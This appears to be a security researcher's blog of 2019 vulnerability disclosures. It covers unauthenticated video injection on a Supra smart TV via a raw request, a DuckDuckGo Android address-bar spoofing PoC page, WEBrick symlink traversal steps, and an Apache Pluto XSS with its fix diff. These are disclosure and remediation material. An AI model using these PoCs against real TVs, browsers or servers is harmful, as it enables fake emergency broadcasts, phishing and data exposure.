Monday, 3 June 2019

Hacking Smart TV

Supra Smart Cloud TV allows remote file inclusion in the openLiveURL function, which allows a local attacker to broadcast fake video without any authentication via a /remote/media_control?action=setUri&uri=URI

Technical Observation: 
We are abusing `openLiveURL()` which allows a local attacker to broadcast video on supra smart cloud TV. I found this vulnerability initially by source code review and then by crawling the application and reading every request helped me to trigger this vulnerability.

Vulnerable code:
function openLiveTV(url)
$.get("/remote/media_control", {m_action:'setUri',m_uri:url,m_type:'video/*'},
function (data, textStatus){

Vulnerable request:
GET /remote/media_control?action=setUri&uri= HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
To trigger the vulnerability you can send a crafted request to the URL,

Although the above mention URL takes (.m3u8) format based video. We can use `curl -v -X GET` to send such request, typically this is an unauth remote file inclusion. An attacker could broadcast any video without any authentication, the worst case attacker could leverage this vulnerability to broadcast a fake emergency message (Scary right?)

Although, this is still unpatched because I didn't find any-way to contact the vendor. The above video PoC shows a successful demonstration of this attack where Mr.Steve Jobs speech is suddenly replaced with attacker fake "Emergency Alert Message" this may make end user panic.

Updating! Friday, June 28, 2019

I've created an MSF module for this vulnerability which broadcast video of Epic sax guy to the remote system.

Tuesday, 28 May 2019

DuckDuckGo Address Bar Spoofing

Summary: The DuckDuckGo Privacy Browser application 5.26.0 for Android allows address bar spoofing via a setInterval call, as demonstrated by reloading every 50 ms.

Technical Observation: A browser that’s scoring in the 50,00,000+ tier of Android download. It was observed that the DuckDuckGo privacy browser ominibar can be spoofed by a crafted javascript page spoofing `setInterval` function and reloading the URL in every 10 to 50 ms.

Proof of concept: (Gist)

<html><body> <title>DuckDuckGo — Privacy, simplified.</title> <head><style> p.b { font-family: Arial, Helvetica, sans-serif; } </style></head><p class="b"><body bgcolor="#5DBCD2"> <h1 style="text-align:center;">We defintiely store your <br> personal information. Ever.</h1> <p style="text-align:center;">Our privacy policy is simple: we collect and share any of your personal 
information to 3rd parties.</p> </p><img src=""> <script> function fakefuntion() { location = "" } setInterval("fakefuntion()", 50); </script></body></html>

The actual magic happens at `fakefunction()` above-crafted javascript file loads the real in a loop of every 50 ms whereas the inner HTML can be modified accordingly.

The above PoC shows the demonstration of the successful attack.

This issue was submitted to DuckDuckGo team via HackerOne on Oct 31st, 2018, DuckDuckGo rewarded with a swag on Nov 13th, 2018 but the issue was closed without a fix which says "team doesn't view it as a serious issue" and report was marked as informative. Further CVE-2019-12329 was assigned to this issue.


Friday, 24 May 2019

PHDays - Fuzzing 101

So, this year (2019) me along with my colleague Zubin delivered a workshop in PHDays 9 on fuzzing. This workshop was mainly focused on an introduction to fuzzing using AFL and ASAN.

The prime focus of the workshop would be around the following areas: Fuzzing using SPIKE, blind and input-based fuzzing (AFL), finding memory bugs using ASAN with AFL integration, protocol fuzzing (HTTP, FTP, SMTP). Then we concluded the workshop by showcasing multiple bugs found during their research.

Slides: Fuzzing-101_PHDays.pdf

Ubuntu OVA file: Ubuntu_Fuzzing101.ova  : Size: 4.x GB, 4GB RAM, 40 GB HD.
Username: PHDays
Password: E@sy

We have further plans to take an advanced workshop on this in other conferences. Fork this repository on GitHub. If you want to read more about fuzzing here is what I wrote while fuzzing WebKit.

Sunday, 12 May 2019

Path Traversal in WEBrick via SYMLINK

Summary: The WEBrick gem 1.4.2 for Ruby allows directory traversal if the attacker once had local access to create a symlink to a location outside of the web root directory.

NOTE: The vendor states that this is analogous to Options FollowSymlinks in the Apache HTTP Server, and therefore it is "not a problem."

Technical Observation: A path traversal issue was observed in WEBrick (WEBrick/1.4.2 (Ruby/2.6.3/)) via symlink. WEBrick serves static page for the current directory once enabled, however using symlink attacker could view data outside the hosted/running directory.

Steps to reproduce:
mkdir nothing
 cd nothing
 ln -s ../../ symlnk
 ruby -run -ehttpd . -p8080
ImpactThis would allow the attacker to view sensitive data outside the root/running directory.

Remediation: In order to solve the problem, we should simply check the absolute/real path of any user input paths and if the absolute path is outside the home directory, then return an error response, This way users will not lose the possible benefits of symbolic links.
Educating users about this behavior in the docs and probably providing a flag to disable/enable the symlinks.

After reporting this to WEBrick team, they will add below statement in WEBrick documentation.

"WEBrick can be run as a production server for small loads. Be aware that symlinks might allow users to view data outside of the designated root directory, such as for the Apache webserver with the FollowSymlinks option enabled".


Apart from WEBrick, I reported the same vulnerability in one of the npm module (simplehttpserver) via H1 but went duplicate. Also, the issue exists in python modules `SimpleHTTPServer` and `http.server` but python security team says these servers should not be used in production and they have already mentioned it in their documentation.

I also found PHP -S module and hhvm protect against this vulnerability by default, a disputed CVE-2019-11879 was assigned to this issue against WEBrick.

Friday, 26 April 2019

XSS everywhere

Summary: The "Chat Room" portlet demo that ships with the Apache Pluto Tomcat bundle contains a persistent Cross-Site Scripting (XSS) vulnerability. Specifically, if an attacker can input raw HTML markup into the "Name" or "Message" input fields and submits the form, then the inputted HTML markup will be embedded in the subsequent web page.

Versions Affected:
Apache pluto 3.0.0, 3.0.1

- Start the Apache Pluto Tomcat bundle
- Visit http://localhost:8080/pluto/portal/Chat%20Room%20Demo
- In the name field, enter:
     <input type="text" value="Name field XSS></input>
- Click Submit
- In the message field, enter:
     <input type="text" value="Message field XSS></input> 
diff --git demo/chat-room-demo-portlet/pom.xml demo/chat-room-demo-portlet/pom.xml
index e37d88ddb..1e4b2e4dd 100644
--- demo/chat-room-demo-portlet/pom.xml
+++ demo/chat-room-demo-portlet/pom.xml
@@ -43,6 +43,10 @@
+  <dependency>
+   <groupId>org.apache.commons</groupId>
+   <artifactId>commons-lang3</artifactId>
+  </dependency>
   <!-- for eclipse JSP tooling purposes -->
diff --git demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/ demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/
index df82f6a4a..b9f61cf02 100644
--- demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/
+++ demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/
@@ -18,6 +18,8 @@
+import org.apache.commons.lang3.StringEscapeUtils;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.List;
@@ -66,7 +68,7 @@ public class ChatHistory {
       StringBuilder txt = new StringBuilder(128);
       synchronized (messages) {
          for (String msg : messages) {
-            txt.append("<p>").append(msg).append("</p>\n");
+            txt.append("<p>").append(StringEscapeUtils.escapeHtml4(msg)).append("</p>\n");
       return txt.toString();
diff --git demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/ demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/
index 50ac6befd..6eaa6236b 100644
--- demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/
+++ demo/chat-room-demo-portlet/src/main/java/org/apache/portals/pluto/demo/chat/
@@ -19,6 +19,8 @@
+import org.apache.commons.lang3.StringEscapeUtils;
 import javax.inject.Inject;
 import javax.portlet.annotations.RenderMethod;
@@ -48,7 +50,7 @@ public class HelloWorldRender {
       txt.append("<h3>Hello \n");
       // Get the name from the bean. If it hasn't been set, just greet the world.
       if (nameBean.getName() != null) {
-         txt.append(nameBean.getName());
+         txt.append(StringEscapeUtils.escapeHtml4(nameBean.getName()));
       } else {
* Uninstall the ChatRoomDemo war file
- or -
* migrate to version 3.1.0 of the chat-room-demo war file

Later CVE-2019-0186 was assigned to this issue and here is the advisory from apache pluto [1] [2].